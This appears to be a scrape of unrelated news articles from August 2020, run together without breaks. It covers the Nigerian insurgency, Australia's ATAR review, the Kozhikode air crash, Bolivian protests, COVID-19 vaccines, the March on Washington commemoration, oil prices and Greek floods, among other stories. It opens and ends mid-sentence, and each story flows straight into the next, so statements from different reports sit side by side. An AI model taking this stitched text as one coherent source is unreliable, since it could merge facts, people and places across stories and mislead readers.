the board took the vote to delay action on PTELL. State governors in the north-eastern part of the country have identified some of the root causes of the insurgency ravaging the region. They stated this on Monday in Abuja at a meeting with President Muhammadu Buhari to discuss ways to intensify the war against insurgency. The Chairman of the North-East Governors' Forum, Babagana Zulum of Borno State, who led the governors to the Villa, stressed the need for the Nigerian government to address the root causes of the insurgency. According to him, the insurgents are taking advantage of endemic poverty and hunger among other challenges in the region to recruit more members into their fold. Briefing State House correspondent at the end of the meeting, Zulum said, One of the root causes is access to farmlands. People need to go back to their farmlands; people need to be resettled in their original homes so that they can start their means of livelihood. This is one of the reasons why insurgents are recruiting more (members) into their sects and creating an enabling environment for people to go about their normal activities will no doubt reduce the cases of insurgencies. We also recommended that the police should be provided with state-of-the-art equipment, armoured personal carriers among others, with a view to bridging the manpower gap that we are having in the Nigerian military, the governor added. He also stressed the need for the Federal Government to work closely with the state and local governments with a view to providing solutions that would end the crisis in the region. Governor Zulum, however, noted that the government was taking a bold step to ensure the best ways to tackle some of the challenges faced by people in the North East. Other governors present included Darius Ishaku (Taraba), Umar Fintiri (Adamawa), Bala Mohammed (Bauchi), Inuwa Yahaya (Gombe), and Mai Mala Buni (Yobe). Governor Babagana Zulum of Borno State and his Yobe State counterpart, Mai Mala Buni, having a conversation with the Inspector-General of Police, Mohammed Adamu, and the Chief of Army Staff, Lieutenant General Tukur Buratai, after meeting with the President in Abuja on August 10, 2020. Members of the Boko Haram terrorist group and the Islamic State in West Africa Province (ISWAP) have carried out a series of attacks on communities in the region over the years, leading to the death of thousands of residents and forceful ejection of millions of others from their homes. While the military said it has recorded many feats in the onslaught against the insurgents, the state governors in the region, who were apparently disturbed by the recent activities of the non-state fighters, met with the President. 'Nigerians Believed Us' Earlier, at the meeting, President Buhari gave strong assurances that security would be restored to Borno State, the North East, and the nation at large. The President's assurance, according to a statement by his spokesman, Garba Shehu, follows the recent adoption of new strategies and the acquisition of modern military equipment. Things will improve very soon. We are acquiring modern equipment; some are here, some are being cleared, and others still coming. We need patience with acquisition of equipment. You need to train the trainers for their usage ahead of their deployment to the field, President Buhari was quoted as saying in the statement. He added, I assure you, the north-east governors, especially that of Borno, that we go to bed and wake up thinking about you, how to secure our country; that is the responsibility of every government. Our party campaigned in 2015 on three major objectives, among which is Security. We said the same thing in 2019 and Nigerians believed us. We are doing our best and we will continue to do even better. The President decried the impact of the COVID-19 pandemic on the economy which he said has made scarce resources even scarcer, coupled with its severe impact on the supply chain of military equipment and spare parts. He, however, stated that his administration was doing its best on the question of equipment and the military was aware that equipment were coming from some countries. President Buhari lamented that the acquisition of military wares and spares was not an easy task. 'We Will Not Relent' The meeting was also attended by the Vice President, Professor Yemi Osinbajo, as well as the Chief of Defence Staff, the Service Chiefs, the Inspector-General of Police, and the heads of intelligence agencies. Some of the attendees promised that things would get better soon and made a strong case for strengthening ties among the military, state governments, traditional institutions, and all communities and the residents of the region. The Chief of Army Staff, Lieutenant General Tukur Buratai, gave an assessment of the current efforts, stressing that Boko Haram terrorists have been flushed out of all the states in the region, leaving Borno State as the last stop. There are no Boko Haram terrorists in neighbouring states. They have been pushed out, and now cornered in Borno State. We are coordinating with civil and traditional authorities, mobilising and reinforcing and all we need is patience. We will not relent, he said. On his part, the Chief of Air Staff, Air Marshal Sadique Abubakar, briefed the meeting on the acquisition of military aircraft, stressing that the imminent arrival of Unmanned Aerial Vehicles, UAVs, known as drones with more than 10 hours of flying time, would strongly reinforce the battlefront. Briefs were also received on equipment needs of the police, as well as the changing alliances between criminal gangs and terrorist groups in the region from the intelligence community (Credit: Channels Tv) Australia's education system must overhaul its admission and assessment system as employers move away from ATAR as a useful measure of job candidates, and shift toward job-specific training. That was among the findings of a report into the university admissions system, which said that the Australian Tertiary Admission Rank must no longer 'continue to dominate the educational experience of senior secondary students'. The Report of the Review of Senior Secondary Pathways into Work, Further Education and Training, titled Looking To The Future, was led by Western Sydney University chancellor Peter Shergold, who said ATAR was too exclusionary and 'should be regarded as just one important measure of success'. 'The heavy focus on scholastic performance is seen by students to pay too little regard to the other skills and attributes that they require for successful adulthood,' Prof. Shergold said. 'The general characteristics of students need to be given greater weight in the final years at school.' The ATAR was noted as not being able to 'continue to dominate the educational experience of senior secondary students' in the Report of the Review of Senior Secondary Pathways into Work, Further Education and Training. Pictured: A student undertaking an exam Prof. Shergold told ABC 7.30 that ATAR was distorting the nation's senior secondary education system by not catering for students who intended to move into trades and vocations that did not require university, and would face a 'slow death over the next five years'. 'What are we doing about the 70 per cent of students at school who are not using ATAR to get to university?' he said. Instead of heading to a traditional university, more students are moving toward digital micro-credentialing, which provides them with narrower qualifications and education but which boost chances of finding employment in a specific industry. The report, titled Looking To The Future , was led by Western Sydney University chancellor Peter Shergold (pictured), who said 'ATAR should be regarded as just one important measure of success' Instead of heading to a traditional university, some students are moving toward digital micro-credentialing, which provides them with mini qualifications and learning experiences to improve skills in a specific industry. Pictured: Students passing by TAFE NSW in Sydney Prof. Sherfold said a revolution was going on in terms of the education people could gain, 'particularly online, and not just in Australia' but worldwide. 'Whatever the future holds, it's going to require higher levels of digital literacy. And that has got to be a focus if we are going to be serious about education being the platform for equal opportunity in Australia,' he said. Prof. Shergold's comments came as this year's school graduates emerged into a moribund employment landscape and Australia's first recession in 29 years. Many universities have announced Year 12 students can get a tertiary admission without an ATAR score this year, as their studies have been badly impacted by school closures during the coronavirus lockdowns. The universities are also eager to get in more local students to take the place of foreign students who may not be able to come to Australia due to border closures. Instead of heading to a traditional university, some students are moving toward digital micro-credentialing, which provides them with mini qualifications and learning experiences to improve skills in a specific industry. Pictured: A group of students walking by a Brisbane school Swinburne University will offer an ATAR-free pathway to its most popular courses for all students finishing high school in 2020. Students will be able to enrol in bachelor degrees including business, science, design, arts, engineering and media, with just a recommendation letter from their high school confirming they meet the minimum English requirements. Normally, there are a limited number of places for each university course and students' ATAR scores determine whether they will secure an offer of enrolment in their chosen field of study. The Melbourne-based institution joins the Australian National University, University of Western Australia, Macquarie University, University of Tasmania, and the University of Adelaide, in scrapping secondary school results as a qualification marker. The biggest structural problem in Australian education is that a broken school choice model is driving an ever-growing segregation of students between schools. Australia ranks as the fourth most segregated education system in the OECD. In Australia, more than half of our disadvantaged students are concentrated into disadvantaged schools while less than 5 per cent of disadvantaged students attend advantaged schools. School choice has not delivered the education outcomes Australia needs. Credit:Brook Mitchell The current structure of Australian education with one free, publicly funded sector and another sector that receives public funding but charges fees to parents sets us apart from most other countries around the world. We are structurally unique, and not in a good way. Students from higher income families and socially advantaged backgrounds tend to be more concentrated in non-government and selective public schools while students from disadvantaged backgrounds are more concentrated in other schools. LANSING, MI - The coronavirus crisis has made this back-to-school season anything but normal for students and teachers across Michigan. As schools prepare for the fast-approaching first day of class, many teachers are gearing up to teach their kids virtually a learning format that is still unfamiliar for many teachers. Indian chapter of the International Federation of Airlines Pilots Associations (IFALPA) has expressed its "heartfelt condolences" to the families of two pilots and passengers who died when an plane crashed on Friday. The pilots -- Deepak Vasant Sathe and Akhilesh Kumar -- along with 16 other people died when the plane overshot runway and later broke into pieces at Kozhikode airport. Airlines Pilots Association of India (ALPA), which represents Indian pilots community at IFALPA, in a letter to Air India Express, also conveyed its "condolences to the families of the passengers who lost their lives" in the accident. "We at ALPA India and on behalf of all IFALPA members worldwide would like to express our heartfelt condolences to the families of Deepak Vasant Sathe and Akhilesh Kumar," ALPA India President Sam Thomas said. The mortal remains of Kumar, who was the co-pilot seat of the ill-fated Boeing 737 plane, was cremated in his hometown Mathura on Sunday while the body of flight commander Sathe was cremated with full state honours in Mumbai on Tuesday. The association also wished speedy recovery to the injured passengers and crew of the plane. IFALPA claims to represent over 1,00,00 pilots from over 100 countries. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) TANZANIA, Tanzania - More than 70 people were killed and dozens injured during weekend clashes between South Sudans army and armed civilians in north-central Tonj, the United Nations reported Tuesday. U.N. spokesman Stephane Dujarric said the U.N. peacekeeping mission in South Sudan reported that the violence was sparked by a disagreement over a disarmament exercise being conducted in the area. During the fighting, the local market in Romich was reportedly looted and some shops were burned to the ground, Dujarric said. Many women and children fled in fear of their lives. The U.N. spokesman said a U.N. peacekeeping patrol is en route to the area to assess the security situation. The U.N. peacekeeping mission is urging all those involved in the violence to lay down their weapons and to help restore calm for the sake of their communities, Dujarric said. He said the mission is engaging political and community leaders and will support local reconciliation and peace-building efforts to prevent further conflict. There were high hopes that South Sudan would have peace and stability after gaining its long-fought independence from neighbouring Sudan in 2011. But the worlds youngest nation slid into ethnic violence in December 2013, when forces loyal to President Salva Kiir, a Dinka, started battling those loyal to Riek Machar, his former vice-president who belongs to the Nuer people. Numerous attempts at peace failed, including a deal that saw Machar return as vice-president in 2016 only to flee the country months later amid fresh fighting. The civil war has killed nearly 400,000 people and displaced millions. Intense international pressure followed the most recent peace deal in 2018, and on Feb. 22 a coalition government led by Kiir, with Machar as his deputy, was formed. But peace still remains elusive. So-called U.S. sanctions will become world's laughingstock: liaison office of China's central gov't in HKSAR People's Daily Online (Xinhua) 08:33, August 10, 2020 The U.S. side, in league with Hong Kong's opposition camp, challenged "one country, two systems" and the red line of national security in Hong Kong, plunging Hong Kong into prolonged disturbances, and they are the real destroyer of Hong Kong's democracy, freedom and high degree of autonomy, said the liaison office. The Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) said Sunday that the recent so-called U.S. sanctions against some Chinese officials will eventually become the laughingstock of the world. The hegemonic acts of the United States have drawn widespread, strong condemnation in Hong Kong and have been regarded as bullying and unreasonable by the mainstream public opinion, a spokesperson of the liaison office said in a statement, stressing that the Chinese people will not be intimidated and the so-called sanctions are nothing but a joke. Officials of central government agencies responsible for Hong Kong affairs and of the HKSAR exercise governance in Hong Kong according to the Constitution and the Basic Law, and they are staunch defenders of Hong Kong's overall interests and residents' well-being, the spokesperson said. It is truth-distorting and absurd for the United States to claim that the recent actions taken by China fundamentally undermine Hong Kong's autonomy and democratic process, the spokesperson said. The U.S. side, in league with Hong Kong's opposition camp, challenged "one country, two systems" and the red line of national security in Hong Kong, plunging Hong Kong into prolonged disturbances, the spokesperson said, calling them the real destroyer of Hong Kong's democracy, freedom and high degree of autonomy. The U.S. politicians who tried to use Hong Kong to make trouble for China and stop China from further developing are doomed to fail, the spokesperson said, adding that those colluding with foreign forces will eventually pay the price. The United States, always declaring that it upholds democracy and freedom and respects human rights and privacy, recently imposed unreasonable restrictions over and cracked down upon Chinese telecom businesses on the pretext of "data security of U.S. citizens," and even intended to take away the assets of a Chinese tech firm by force and trickery, the spokesperson said. When interfering in Hong Kong affairs this time, the U.S. government showed its hypocrisy and blatantly disclosed home addresses and personal information of Chinese officials on the U.S. Treasury Department website, the spokesperson said. Such despicable acts infringing upon privacy have crossed the line politically and morally and only reveal its bullying and double standards more clearly to the world, the spokesperson said, adding the United States will have its moral bankruptcy at a faster pace. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Protests against the postponement of presidential elections continued Monday for the eighth day in Bolivia as the Ministry of Health warned of a health "imminent disaster situation" if they continue. Union leaders backing exiled President Evo Morales, who are demanding that the elections take place before the October 18 date established by the Supreme Electoral Court (TSE), continued blocking roads. A dialogue called on Sunday by interim President Jeanine Anez to find a way out failed as a result of the absence of the main political and union leaders. Demanding a solution to the blockades, a group of representatives of the milk industry on Monday dumped milk in the steps of the local government offices. Milk producers estimate a loss of 340.000 litres of milk daily due to the roadblocks. According to the government the postponement of the elections, which were scheduled for September 6, was due to the health crisis caused by the coronavirus. The Ministry of Health reported that some 31 people had died this week due to lack of oxygen in hospitals for COVID-19 patients and other pathologies due to roadblocks. In a statement, the Health Ministry denounced on Sunday that protesters intercepted three trucks carrying oxygen to the city of Cochabamba, in the centre of the country. The political and social crisis that the country faced at the end of last year after elections cancelled due to allegations of fraud caused the death of 36 protesters and the resignation of Morales after almost 14 years in power. The dispute has flared up again in recent weeks at a time when virus infections are on the rise with 89,055 positives and 3,587 deaths as of Sunday. In Cochabamba, families were keeping coffins at their homes for more than six days, and the dead were being placed in the streets due to a collapse of their funeral services. By Ayushi Malik, TwoCircles.net Rajouri: Family members of three missing labourers from Rajouri district of Jammu, who were killed in an alleged fake encounter in Shopian on 18 July have demanded a judicial enquiry into the matter. Support TwoCircles We demand a judicial enquiry into the matter. If found guilty theek hai, aur agar nahi hain toh inke sath aisa kyu hua (If they are found guilty then let it be. But if they were not guilty, we demand to know why they were killed? Naseeb Ahmad, a relative of one of the three youths, told TwoCircles.net. After pictures of three youth killed in an encounter in Shopian went viral on social media, the family members alleged that the unidentified militants are their missing innocent relatives, who had gone to Shopian in search of work on 16 July. Family members of the missing trio Imtiaz Ahmed (21) s/o Sabr Hussain, Abrar Ahmed (18) s/o Bagga Khan and his brother in law Abrar Ahmed (25), all residents of Peeri in Rajouri district, said the trio are missing from 17 July. The families filed a missing report on 9 August at the local police station claiming that there had been no whereabouts of the three youths since July 17 after the trio left their homes in Rajouri on July 16 to find work in Shopian district of Kashmir. The last contact of the family with the trio was on July 17. The trio had informed the families that they had reached Shopian. We had filed a missing complaint on Sunday (9 August) and then on Monday (10 Aug), Additional SSP received the photographs from where we recognized them. The photographs have been shared on social media too. They belong to a poor family and whatever they earn through labour work, they spend it on studies and survival only, Naseeb Ahmad said. A social activist from Rajouri, Guftar Ahmed Chaudhary told TwoCircles.net that the family members of the trio thought that they were being quarantined due to the COVID-19 and that could be the reason that the family didnt hear from them. Guftar shared on social media that he had spoken to the concerned family who had identified the trio beyond any doubt. Guftar said that the families are meeting with district administration on Tuesday and are demanding bodies of the three youth. Receiving backlash on social media over the alleged fake encounter, Army on Monday said it is investigating the matter as it noted social media inputs linked to the July 18 encounter at Shopian. We have noted social media inputs linked to the operation at Shopian on 18 Jul 2020. The three militants killed during the operation have not been identified and the bodies were buried based on established protocols, a defence ministry spokesman said in a statement. Army is investigating the matter, the statement added. One of the missing youth, Imtiaz Ahmad (25), is survived by his wife and an 18-month-year-old son. His wife has no information regarding the matter as she, along with mother of Ibrar Ahmed (18) has gone to the upper mountain range to graze their cattle, the family said. Abrar Ahmad (18) was a student of 12th standard at Government Higher Secondary School, Peeri. His father is working in Saudi as a labourer and the mother who is up in the mountains to graze the cattle, have no information about the tragic news, the family said. Imtiyaz Ahmad (25), the brother-in-law of the young Abrar, used to work in Saudi as a labourer too and had returned home this year because of the COVID-19 pandemic. Representative image From Russia gearing up to register its COVID-19 vaccine on August 12, to US health secretary Alex Azar saying any US vaccine would be shared only after the US's needs are met, here are all the latest updates on COVID-19 vaccine and the candidates: Russia to register the world's first COVID-19 vaccine on August 12 The Russian COVID-19 vaccine candidate, being jointly developed by the Gamaleya Research Institute and the countrys Defence Ministry, is set to get registered on August 12, reports suggest. This would be the first vaccine candidate against the novel coronavirus to get registered. COVID-19 vaccine to be ready by December this year: Adar Poonawalla Adar Poonawalla, the Chief Executive Officer (CEO) of Serum Institute of India (SII) said that the company would be launching a COVID-19 vaccine starting December. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show "We are going to start trials in less than two weeks. The trial is in partnership with ICMR. We will start manufacturing vaccines by the end of August," Poonawalla told CNBC-TV18. U.S.'s Azar says any U.S. vaccine would be shared once U.S. needs met U.S. Health Secretary Alex Azar said that any U.S. vaccine or treatment for COVID-19 would be shared fairly with the rest of the world, once their needs have been satisfied. "Our first priority of course is to develop and produce enough quantity of safe and effective FDA-approved vaccines and therapeutics for use in the United States," Azar told reporters while on a visit to Taiwan. "But we anticipate having a capacity that, once those needs are satisfied, those products would be available in the world community according to fair and equitable distributions that we would consult in the international community on," he added. Bharat Biotech Chairman says the company will not launch COVID-19 vaccine in rush as safety matters Bharat Biotech International, the developers of Indias first indigenous COVID-19 vaccine COVAXIN, said it cannot rush to launch the drug as safety and quality are paramount. The growing COVID-19 cases are putting pressure on the company to come out with a vaccine quickly, said a report. But for us, safety and quality are paramount. We don't want to kill more people with the wrong vaccine, Ella said during an interaction with members of the Chennai International Centre on 'COVID-19 Endgame Scenarios'. Early-stage coronavirus vaccine trial begins in Singapore The early-stage clinical trial for a COVID-19 vaccine has started in Singapore, with the first vaccinations expected to be given to volunteers next week, a media report has said, as the country's coronavirus tally crossed over 55,000 on August 9. Called Lunar-Cov19, the vaccine is developed by Duke-NUS Medical School and United States pharmaceutical company Arcturus Therapeutics, The Straits Times reported. DENVER, Aug. 11, 2020 /PRNewswire/ -- With the risk of the flu and coronavirus looming, experts are advising that more people get vaccinated against seasonal influenza and do it soon. Welltok, a consumer activation solutions company, has a long track record of identifying people more susceptible to contracting the flu virus and activating them to get a flu shot. The company is already starting seasonal flu shot outreach for a large national pharmacy this week. "Many people may be reluctant to visit a doctor's office or health clinic for a flu shot, making it even more important to proactively educate consumers about all the options available," said April Gill, senior vice president of market solutions at Welltok. "Flu outreach campaigns with personal, multi-channel engagement will be essential to broadly reach people at risk about the importance of getting the shot in September/October and where to get it." With symptoms similar to COVID, minimizing the infection and spread of the flu is critical to avoid further strain to our health system. An influx of flu-related hospitalizations could potentially overwhelm healthcare workers and hospital capacity. Protecting everyone from influenza is important to decrease risk of COVID infection too. Welltok helps pharmacies, health plans, hospital systems and employers identify and reach the people that have a need or interest to take action. The company's social determinants of health data and predictive models reveal that factors such as car ownership, political party affiliation and household composition can be early indicators of a person's flu risk. To engage, educate and activate consumers, Welltok delivers targeted communications using a multiple channel strategy that includes text messaging, emails, social posts, automated calls, web, direct mail and more. One nationwide retail pharmacy chain is doubling its flu shot reminders over last year with Welltok, issuing hundreds of thousands of automated voice calls to customers, prompting them to get flu vaccines and sharing information for doing so safely. Welltok also manages outreach for a national health plan across multiple communication channels with a proven success rate of reaching nearly 90% of the individuals targeted with chronic disease. Of those contacted, 56% reported receiving a flu shot. The Centers for Disease Control and Prevention (CDC) recommends a flu vaccination for everyone six months of age and older, with rare exceptions. Vaccination is particularly important during the 2020-2021 flu season for groups who are at higher risk for complications from flu as they are often at higher risk for COVID-19 too. Getting vaccinated can reduce flu illnesses, doctors' visits and missed work and school, as well as prevent flu-related hospitalizations. Influenza vaccination is particularly important for older people, pregnant women, people who are immunocompromised, and others with chronic conditions who are more vulnerable to serious flu complications. About Welltok Welltok is an award-winning consumer activation solutions company that improves people's total wellbeing. Only Welltok uses a smart mix of proprietary data and machine learning to engage consumers in personalized and rewarding ways to drive action. Our solutions integrate SaaS software, curated resources, a partner ecosystem and professional services to help health plans, employers and health systems support healthier, happier populations. Media Contact Erica Sniad Morgenstern 415.697.3496 [email protected] SOURCE Welltok, Inc. Related Links http://www.welltok.com WASHINGTON - Amid widespread protests and unrest over the police killings of Black Americans, a national commemoration of the 1963 civil rights March on Washington is being reconfigured to comply with coronavirus protocols in the District of Columbia. Although many marchers will arrive via charter buses from surrounding communities on Aug. 28, the Rev. Al Sharpton, one of the organizers, will ask some to join satellite marches planned in states that are considered hot spots for COVID-19. Were following protocol, Sharpton told The Associated Press in an exclusive interview. The objective is not how many thousands of people will be (in Washington). Itll still be a good crowd. The commemoration, taking place on the 57th anniversary of the Rev. Martin Luther King, Jr.s I Have A Dream speech, will begin with a rally at the Lincoln Memorial. Martin Luther King III, a son of the late civil rights icon, attorney Benjamin Crump and the families of George Floyd, Trayvon Martin, Eric Garner, Ahmaud Arbery, and Breonna Taylor, are expected to participate in Washington. Following the commemorative rally, participants in Washington will march to the Martin Luther King, Jr. memorial in West Potomac Park, next to the National Mall, and then disperse. All participants will be required to wear masks, Sharpton said. Organizers also will provide hand sanitizing stations and conduct temperature checks throughout the event. The objective is to put on one platform, in the shadow of Abe Lincoln, the families of people that ... have lost loved ones in unchecked racial bias, Sharpton said. On these steps, Dr. King talked about his dream, and the dream is unfulfilled. This is the Exhibit A of that not being fulfilled. The revised plan appears to avoid a potentially awkward faceoff with Washington Mayor Muriel Bowsers government over COVID-19 restrictions in the nations capital. In late July, with local infection numbers rising, Bowser ordered that anyone travelling or returning to Washington from a virus hot spot must self-quarantine for 14 days. The list is revised every two weeks and the newest list, released on Aug. 10, classifies 29 states as hot spots. Bowser, when asked on July 30 about the potential conflict, said government officials had been in contact with march organizers and that Washington would not be relaxing its virus rules for participants. They are aware of all the local guidance that would affect their planning, she said. If there are people who are coming from jurisdictions that are on that list, they would need to be quarantined. The application for the Aug. 28 event has already been approved by the National Park Service. Operating under a permit application submitted by activist and radio host Rev. Mark Thompson, the original application estimates 100,000 participants. NPS spokesman Mike Litterst said the permit has not been issued yet, but its normal for such permits to be issued closer to the actual event. Litterst said his agency was discussing COVID-19 mitigation plans with the organizers, but that compliance with local virus restrictions was not a requirement or condition of the permit. Sharptons civil rights group, the National Action Network, is working with its local chapters to hold commemorations in Kentucky, South Carolina and Texas, where outdoor jumbo screens will display a live simulcast of the rally in Washington. All of those states are currently on Washingtons hot spot list. The NAACP, one of several partners in this years commemoration, last week launched a website for a virtual March on Washington. The site will livestream the Washington march, in addition to other programming leading up to and after the event. The Movement for Black Lives, a coalition of more than 150 Black-led organizations that make up the broader Black Lives Matter movement, will hold its virtual Black National Convention later in the evening. Organizers said their convention will coincide with the unveiling of a new political agenda intended to build on the success of this summers BLM-themed protests, which called for the defunding of police departments in favour of investments to healthcare, education, housing and other social services in Black communities. Sharpton first announced plans for the commemoration during a June memorial service in Minneapolis for Floyd, a Black man whose death at the hands of police galvanized nationwide protests against police brutality and systemic racism. The marchs theme Get Your Knee Off Our Necks is inspired by a refrain from Sharptons eulogy for Floyd, who died May 25 after a white police officer held his knee to Floyds neck. The civil rights leader has called for participants in other states to march on their U.S. senators offices, to demand their support of federal policing reforms. Sharpton said protesters should also demand reinvigorated U.S. voter protections, in memory of the late Congressman John Lewis who, until his death on July 17, was the last living speaker at the original March on Washington for Jobs and Freedom in 1963. In June, the Democrat-controlled House of Representatives passed the George Floyd Justice In Policing Act, which would ban police use of stranglehold manoeuvrs and end qualified immunity for officers, among other reforms. In July, following Lewis death, Democratic senators reintroduced legislation that would restore a provision of the historic Voting Rights Act of 1965 gutted by the U.S. Supreme Court in 2013. The law previously required states with a history of voter suppression to seek federal clearance before changing voting regulations. Both measures are awaiting action in the Republican-controlled Senate. Everybody is trying to jump from demonstration and to reconciliation, with no legislation, Sharpton said. If we dont have the legislation, well be back here again. ___ This story was first published on August 11, 2020. It was updated on August 18, 2020 to correct that the National Park Service has approved the application for the permit for the march but the actual permit has not been issued yet. ___ Morrison reported from New York and is a member of the APs Race & Ethnicity team. Follow him on Twitter: https://www.twitter.com/aaronlmorrison. Shah Faesal, who topped the IAS exam in 2009 but floated a new political party in Jammu and Kashmir last year, on Monday abruptly quit politics amid speculation that he may return to government service. The 37-year-old tendered his resignation from the Indian Administrative Service (IAS) in January 2019 to launch a new regional party -- Jammu and Kashmir Poeple's Movemnet (JKPM) -- of which he became the first president. He was the first candidate from the erstwhile state who topped the civil services exam. Faesal, a 2010 batch officer, was strongly critical of the scrapping of Article 370 of the Constitution on August 5 last year and was arrested from Delhi airport days later before he could board a flight to Turkey. He was subsequently taken into preventive detention and later booked under the draconian Public Safety Act from which he was released in June. The doctor-turned-burueacrat's political career ended suddenly with his party announcing on Monday that he had stepped from its leadership and quit politics. JKPM vice-president Feroze Peerzada will be the party's interim president till formal elections can be held for the post. Faesal had resigned from the IAS before joining politics but his resignation has not been accepted, pending disposal of a show cause notice given to him by the government in 2018. His name still figures in the list of 'serving' IAS officers on the official website of the Department of Personnel. Faesal's decision to quit politics prompted speculation that he may want to go back to government services if permitted. He was quoted by India Today as saying that there was a "new reality" in Kashmir and people have to come to terms with it. "As a member of IAS, I have been a stakeholder in the future of this nation. I can't imagine why some people would be anti-India. I can't be seen as a traitor to a nation that has given me everything in life. I want to move on and start afresh. In whatsoever position that is," Faesal told the India Today network. Officials in the Home and Personnel ministries refused to comment on whether Faesal was re-joining the civil services but said his explanation on a show cause notice issued in June 2018, for his comments on Twitter on growing atrocities against women, had not been received so far. Asked whether Faesal could rejoin duty, the officials said he needs to first submit his explanation on the charges levelled against him after which the decision of accepting or rejecting his resignation would be taken. Verkhovna Rada Commissioner for Human Rights Liudmyla Denisova asked Head of the Central Election Commission (CEC) Oleh Didenko to provide documents on the basis of which it was decided that it was impossible to hold local elections in a number of territorial communities in Donbas. "Concern is caused by resolution No. 161 adopted by the Central Election Commission on the impossibility of holding the first elections of deputies of individual rural, settlement, city councils of Donetsk and Luhansk regions and the corresponding rural, settlement, city mayors on October 25, 2020 dated August 8, 2020. According to the document, the commission canceled elections in ten rural, settlement, urban territorial communities of Bakhmutsky, Volnovakhsky, Mariupolsky and Pokrovsky districts of Donetsk region and eight such communities of Severodonetsk and Schastiansky districts of Luhansk region," Denisova wrote on Facebook page. Denisova demands from Didenko to provide copies of the conclusions of Donetsk and Luhansk regional state administrations and other documents on the basis of which this resolution was adopted. She also said that, according to the current legislation, she has the right to access documents, including those containing information with limited access, and obtain copies of them from government authorities, local authorities, citizens' associations, at enterprises, institutions, organizations, regardless of the form of ownership, prosecution agencies, including cases that are in courts. FILE PHOTO: The sun is seen behind a crude oil pump jack in the Permian Basin in Loving County By Laura Sanicola NEW YORK (Reuters) - Oil settled higher on Monday, supported by data suggesting Chinese factories were returning to pre-pandemic levels, signs of rising energy demand and hopes for an agreement in the United States on more coronavirus-related economic stimulus. Brent crude settled up 59 cents, or 1.3%, to $44.99 a barrel. West Texas Intermediate U.S. crude was up 72 cents, or 1.8%, to $41.94 a barrel. Prices also found support after U.S. President Donald Trump tweeted that top congressional Democrats wanted to meet with him on coronavirus-related economic relief. The talks between Democrats and the Trump administration broke down last week. "The oil complex is heavily reliant on that aid. We need people to be able to boost economic activity to spur demand," said John Kilduff, partner at Again Capital in New York. On Sunday, Saudi Arabian Aramco <2222.SE> CEO Amin Nasser he sees oil demand rebounding in Asia as economies gradually open up. China's factory deflation eased in July, driven by a rise in global oil prices and as industrial activity climbed toward pre-pandemic levels. "A smidgen of favorable headlines on the coronavirus front has been enough to spur buying interest back into the gasoline market," said Jim Ritterbusch of Ritterbusch and Associates. Iraq said on Friday it would cut its oil output by a further 400,000 barrels per day in August and September to compensate for its overproduction in the past three months. The move would help it comply with its share of cuts by the Organization of the Petroleum Exporting Countries and allies, known as OPEC+. "This would send out a strong signal to the oil market on various levels. That said, this would also require the international companies operating in Iraq to join in with the cuts," Commerzbank analyst Eugen Weinberg said. (Reporting by Laura Sanicola, additional reporting by Bozorgmehr Sharafedin in London; additional reporting by Sonali Paul in Melbourne; editing by Jason Neely, David Evans and David Gregorio) Source: Xinhua| 2020-08-11 04:14:30|Editor: huaxia Video Player Close POLITIKA, Greece, Aug. 10 (Xinhua) -- Greek Prime Minister Kyriakos Mitsotakis on Monday visited the flood-stricken Evia island in central Greece and pledged immediate state aid to people affected. According to the latest official count, the death toll from weekend's flash floods in the Evia island -- the second-largest Greek island which is 100 km north of Athens -- has risen to eight. "The State will stand by those affected by the flash floods, those who lost either their homes or their businesses," Mitsotakis said after touring the area, escorted by ministers and other officials. Government officials pledged immediate financial support for the stricken areas. An emergency fund of 1.2 million euros (1.4 million U.S. dollars) will be allocated to the flood-stricken areas, the Interior Ministry announced. Mitsotakis said that the unprecedented rainfall that hit the area in Evia in a few hours was as much as it rains in Athens in winter. "We must learn to have more precise predictions because we will have more extreme phenomena," he added, citing climate change. The strong storm turned roads into raging rivers of mud, flooded houses and businesses, and carried away cars along with tons of debris. Residents were trying to clean up their homes and businesses, as crews with experts were assessing damages. "We have damages on the ground floor and the outdoor space. Our two cars were ruined. It will take some time for the wounds to heal. The sad is that we lost our fellowmen, a baby among them," Giorgos Mahairas from Politika village told Xinhua. The floods in Politika village was caused by a river bursting its banks and filling roads with tons of mud and debris. Villagers were still dealing with the cut-off of electricity and water supply. "The rescue teams could not reach the area. The road network that connects our village with Psaxna village disappeared," he said. "We were afraid that we were going to have more victims due to the intensity of the weather phenomena," Mahairas added. Niki Varzvouzou, also from Politika, was trapped in her dry-cleaner's shop all night, trying to avoid the streamflow from the overflooded river. "I locked the door, put rugs behind the door and I was emptying the water with a bucket from 4 a.m. until 8 a.m.," she told Xinhua. "Locals are disappointed, with their spirits broken from the disaster," Dimitris Gkikas, president of the Politika village, told Xinhua. "The priority is the authorities to repair the damages caused by the flash floods." Enditem SREBRENICA, Bosnia-Herzegovina -- Officials have broken ground on a peace monument that threatens to deepen ethnic divides and emotional wounds in the Bosnian town synonymous with genocide and one of 20th-century Europe's most notorious wartime atrocities. Work began last week on the Hand In Hand fountain and statue on a central square in Srebrenica, the small mountain town within a United Nations "safe area" that was overrun by Bosnian Serb troops, who then massacred thousands of trapped Bosniak men in the Bosnian War in 1995. But the failure of local officials and the planned monument itself to recognize Srebrenica's tragic past threatens to eclipse the project's focus on peace, reconciliation, friendship, and solidarity. Survivors and victims' families say there can 